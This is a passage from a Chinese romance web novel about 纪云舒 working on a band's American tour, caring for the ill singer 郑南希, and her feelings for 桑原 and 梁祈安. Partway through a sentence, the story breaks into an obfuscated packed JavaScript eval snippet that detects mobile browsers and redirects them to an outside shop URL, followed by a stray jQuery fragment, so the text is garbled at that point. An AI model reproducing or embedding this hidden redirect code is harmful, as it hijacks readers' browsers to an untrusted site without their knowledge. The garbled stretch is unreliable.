桑原暗藏不爽,怎么所有人都在跟她抢老婆。怪他眼光太好,老婆的魅力太强。
但表面上,他还是一派沉稳大气的风范:“你们俩互相照顾好对方。”然后又看向纪云舒,“遇到问题给我打电话。我随叫随到。”
“知道啦。”纪云舒对他柔和一笑,柔情似水。
接着她就被郑南希拉着手,和大部队一起走了。
目送纪云舒身影消失在安检门之后,桑原感到自己的心像是被剜走了一大块。
空荡荡漏着风。
他恨不得现在买张机票跟随她而去,但考虑到她的项目现在在他手里。无论如何,他不能教她失望。
桑原沉着脸转身离开。
逆着匆匆的旅客向外走时,他忽然生出一个更烦闷的念头——
如果她喜欢上了乐队工作,选择加入那个团队怎么办?
*
飞机起飞后,身旁的郑南希很快戴上眼罩开始睡觉。
纪云舒翻出随身包包里,一个缎面的小布袋,里面躺着一枚粉钻戒指。
除了和桑原在一起的那天,后来她都没有戴过。
现在她将它取了出来,一开始先戴进无名指,发现尺寸不合适,容易不小心丢了,于是戴在了中指。
她稍稍举起手,对着光看流光溢彩的钻石,轻轻印上一个吻,
戴好戒指后,她又翻开巡演线路和行程表,替郁青青想想还有什么没考虑到。
斜前座的位置,梁祈安无声息回头,看了眼埋头认真写画的纪云舒,若有似无地牵了牵嘴角。
*
纪云舒也是在确定要跟他们一起走后,开始认真了解这个团队。
池敬手底下总共三支乐队,这次有机会去国外演出的,却只有太空漫步。
这次出征美国有可能成为太空漫步进入国际舞台的一个起点。也有可能……是最后的高光时刻。
纪云舒知道内情,梁祈安不一定选择乐队,而郑南希因为身体原因,不一定还能唱多久。
但她又觉得,这就是摇滚精神。
只要有一个舞台,就留下最精彩的表演。不要管未来会怎样。
毕竟对于乐队来说,分分合合是常态。
他们的航班落地芝加哥,也是从这里开始,贯穿美国十多个城市,历时三周将近二十场演出,最后还要参加SouthBySouthwest音乐节的两场演出。以公路巡演方式,几近每日一站地将来自中国的摇滚现场呈现给北美观众。
刚到芝加哥,纪云舒还是挺兴奋的。因为她骨子里也是个喜欢新鲜、喜欢冒险的人,但这种激动情绪没有持续多久,她很快开始无边无际的忙碌。
首先日程安排特别紧张,转场的过程几乎不能出一丝意外。一个小小的偏差就可能耽误下一场演出。
而池敬给他们的最高要求就是——“一切都为演出让步”。
纪云舒不仅是郑南希的助理,也是郁青青的助理,还是巡演经理的助理。时时刻刻都有琐碎的事情需要她做,还必须偷偷摸摸保证郑南希一天三次按时吃药。
她一直觉得自己的性格,很适合耐心处理复杂的工作。但在国外例外。
主要是语言不通,这英语听力可跟考试时候的一字一顿完全不同。
巡演经理安排给她一项行程对接工作,又因为太忙没空搭理她时,她只能硬着头皮上。
电话那头对方说的快了,她只能频繁——
“Pardon?”
“Sorry,whatwasthat?”
“Sorry,whatdidyoujustsay?”
“Cou……couldyourepeatthat,please?”
每每这个时候,总会有一个人出现在她面前。
那就是梁祈安。
他会从她手中抽走电话,用一口非常流利的美式发音和对方沟通。然后再用中文告诉她应该怎么做。
每次纪云舒都会跟他说:“谢谢。”
但梁祈安似乎并不打算跟她有过多的交流,总是公事公办完就继续弄他的乐器。除此之外,他也会帮团队的财务算税金,帮技师修设备……仿佛她在他心中,也不过就是个普通的共事者。
纪云舒远远看着梁祈安淡然的眉眼,想,桑原纯纯就是瞎操心。归根到底,梁祈安是和她有点像的人,确定不可能,或者不喜欢后,便不会再有多余的想法和举动。
总之繁重的工作让她根本顾不得多想,和桑原打电话的时间都需要在夹缝中抽出来。还常常因为时差而说不了几句话。
每一场演出顺利开始,她才终于有时间休息一下。
最初她还会精心搭配漂亮衣服,在演出的酒吧现场随便找个位置,点一杯酒,安心看他们演出。偶尔用生疏的口语拒绝搭讪她的美国男人。
这样的时刻,总是让她特别想念桑原。想被他温暖的手掌包裹,想脑袋空空埋进他的怀抱,想闻闻他身上舒服的气息。
原来人和人之间真的会产生习惯。桑原时常在她身边时,还不觉得依恋,分开后,她才发现自己比想象中的更喜欢,或者是爱他。
察觉到爱意让想念更加刻骨,她便会满怀心事地多饮几杯。
看了几场演出后,她也就懒了,不再刻意翻出漂亮裙子。大多数时间就一副随行工作人员的朴素样子。
照顾郑南希也没有她想象中的简单。
初来时郑南希演出特别有活力。那副磁性烟嗓也很受外国人喜欢。过了几天,不知是水土不服,还是太过劳累,她开始身体不舒服。也可能是靶向药的副作用。
诸如恶心、厌食、消化不良、肌肉酸痛等等。
晚上,郑南希活力四射的表演完,一回到酒店的房间里,就像失去了所有的力气,侧躺到床上一动不动。
通常纪云舒和郑南希住一间房。
一路走来,也不是所有的住宿条件都很好。
这次在纽约布鲁克林区的旅店就相对简陋,服务也一般。郑南希躺着躺着,忽然反胃,甚至还未来得及起身,探出头就吐到了地上。
正在用挂烫机给她熨烫演出服的纪云舒也就是惊了一瞬,很快恢复淡定。
她熟练地给郑南希拿水,又找东西把地上的脏污处理掉,开窗通风,扯过被子给郑南希盖上。
郑南希手腕搭在额头上,眼皮懒懒掀开一点,盯着纪云舒忙碌的身影。
因为她刚吐完,房间里的味道很不好闻,可纪云舒脸上没有一丝皱眉和嫌恶的迹象。
“亲爱的,我也想要茉莉花串串。”她语气虚弱地对她撒娇。
“好啊,你现在回国就有了。”纪云舒背对着她拖地,声音平淡。一边暗暗郁闷,没有客房服务的小旅馆真让人讨厌。
“我才不回。你不知道我有多开心。”郑南希嘴角漾着笑,回忆着演出时台下的欢呼和赞叹,闭上眼睛拉高了被子。
过了会儿,郑南希感觉到自己攥着的手被人掰开。
糖豆在铁盒里碰撞的清脆声响起。
郑南希睁开眼睛,纪云舒正将一颗薄荷糖放在她手心。
“茉莉味儿的。你将就一下吧。”
郑南希将糖豆塞进嘴里,什么也没说,转身背向了纪云舒。
她窝着躯体,暗暗对抗胸部的隐痛。口腔里有清凉的甜味在蔓延。
痛和甜在一瞬间交织。
她睁着眼睛盯着墙壁,有一颗眼泪无声滑出,不着痕迹地湮没在枕头芯里。
*
晚上,纪云舒睡得很不安稳。
她翻了个身,想看看郑南希有没有在好好睡觉,却骤然发现窗户下的单人床上,有个黑色的人影静静坐着。
纪云舒吓了一跳,缓神之后也坐起来。
“你怎么了?是不是难受?”
郑南希正望着窗外发呆。浓黑的夜色下是一片陌生的街景,异国的月亮勾勒出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519891|140719||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她的剪影,越发稀疏的短发竖在头顶。
她回头望向纪云舒:“被桑原爱,是一种什么感受?”
纪云舒没有开口,她无法形容,只问:“你还在介意,我跟他在一起吗?”
可如果介意,为什么选中她来这段旅程帮她?
郑南希抱着双腿,将头搁在膝盖上。
“我也想被人这样惦念,这样爱。如果能在死之前,遇到这么一个人就好了。”
“你别矫情了,当然能啊。远的不说,我看雨果就挺迷你的。”
郑南希抓起枕头就扔了过去。
“他那是迷我?天天跟我找茬,摆一副死鬼脸。还不如你那个梁祈安呢。”
纪云舒又给她把枕头扔回去。
“你别胡说。”
“嘁。”
这么一番插科打诨到让郑南希恢复了平常模样,抱回枕头躺倒在床上。她在幽暗中盯着纪云舒,忽然勾起一边的嘴角。
“你不知道吧,纪云舒。”
“嗯?”
“他经常偷看你呢。”
纪云舒眼皮动了动。
“闭嘴,睡觉。”
“哈哈哈,我又没说是谁。你心虚什么?”郑南希肆无忌惮笑了两声,逗完纪云舒,心满意足合上双眼。
不过她很快又睁开,望着纪云舒,语气暧昧。
“如果他俩都不好选,你要不选我吧?”
“……”
“同性才是真爱啊。你跟我好,我回去好好治病,完了努力唱歌赚大钱养你,不错吧?”
“郑、南、希!赶紧给我睡觉!”
“我可以过去跟你一起睡吗?”
“不可以!”
“我胸有点疼,你能不能帮我看看?”
纪云舒死死堵住耳朵,一副尔康紧紧闭眼的表情包模样。
郑南希笑得在床上滚了一圈。
*
尽管他们计划的足够周密,但漫长的旅途中,还是难免会有意外。
在华盛顿到费城的路上,因为前方发生严重车祸,他们的五辆车被严严实实堵在了公路上。
两个小时过去,车的长龙仍然纹丝不动。
巡演经理满头大汗,不停地打电话沟通。最终池敬考虑到那晚售出的票本来就不算多,于是决定取消演出,给观众全额退票。
大家原本焦躁紧绷的心,因为这个决定而放松下来。
等待让时间变得枯燥,大家都有些无所事事的样子。
纪云舒望着窗外的旷野,不知不觉在脑海中勾勒出许多故事的线条。
等她反应过来时,才发现自己又在幻想历史故事。可能是上一段职业在她心中留下的痕迹太过深刻。她至今还保留着习惯,无聊时回想自己喜欢的历史片段,由某个历史大人物或小人物,延伸出自己幻想,最后落点到做成动漫场景是什么样的,有什么意义。
她发现自己隐隐找到了某种精神寄托,或者说属于自己的精神游戏。
让她不管身处何地,都不会觉得无聊。只要打开那道游戏之门,就能进入她创造的世界。
有时候一个桥段和一个桥段勾连碰撞,达到剧情的高潮,她还会觉得特别兴奋。
“在想什么,这么高兴?”
身旁忽然有人发问,声音清淡、宁静。
她才发现自己不知不觉弯起了嘴角。
因为要陪郑南希的关系,她一直和乐队成员坐一辆车。
“没什么。”纪云舒回答梁祈安。
这时她想到了什么,好奇问:“对了,你做出你的选择了吗?”
选择乐队还是选择律师。
他不答,反而好整以暇地看着她:“你做决定,倒是很坚决。”
“还行吧。”纪云舒抚平裙子的褶皱。
“不如你现在来替我选一个?”
纪云舒想了想,转头对上他的眼睛:“在我们开始对话前的十分钟,你在想什么?”